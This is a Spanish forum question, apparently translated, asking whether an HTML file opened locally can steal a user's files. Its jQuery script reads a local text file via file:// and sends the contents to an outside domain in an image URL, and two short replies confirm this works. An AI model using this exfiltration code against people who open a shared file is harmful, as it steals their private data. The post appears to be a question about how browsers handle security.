Hablemos de seguridad. Me parece, teóricamente, que puedo obtener información del sistema de archivos de un usuario con algún script, si el usuario abre un archivo html con él (se abre desde su sistema de archivos, no desde la red). Mira el código:robar datos del usuario ejecutando el archivo html
info.txt:
my info
index.html:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function() {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
Algunos navegadores (Firefox, por ejemplo) le permiten obtener archivos desde file://
a través de XmlHttpRequest
, así que si adivino la ruta al archivo, entonces puedo obtener su contenido por ajax. Y luego puedo agregar dinamicamente la etiqueta img
con src
que conduce a mi dominio con los parámetros en la cadena de consulta. Y el navegador hacer una solicitud obedientemente GET ?data=my%20info%0A domain.com
. Y en el lado del servidor puedo analizar cadena de consulta y obtener los datos.
¿Tengo razón? Puedo hacer esto? ¿Tengo razón? Puedo obtener los datos del usuario de su computadora si abre mi archivo html. Así que puedo decir: "¡Oye, amigo, mira este archivo!" (con 2 restricciones: el usuario debe usar Firefox u otra cosa con una configuración similar, y no puedo obtener archivos a los que el usuario no puede acceder debido a los derechos de acceso).
Actualizado:
Si es posible, entonces ¿es posible? ¿Por qué te permiten hacer tales cosas? Por qué no hay cuadros de diálogo de confirmación o algo así.
Actualización 2:
Será genial si alguien hace un comentario sobre este tema. ¡Gracias por adelantado!
No lo sé, inténtalo. :) – gengkev
Sí, esto es completamente posible. – Brad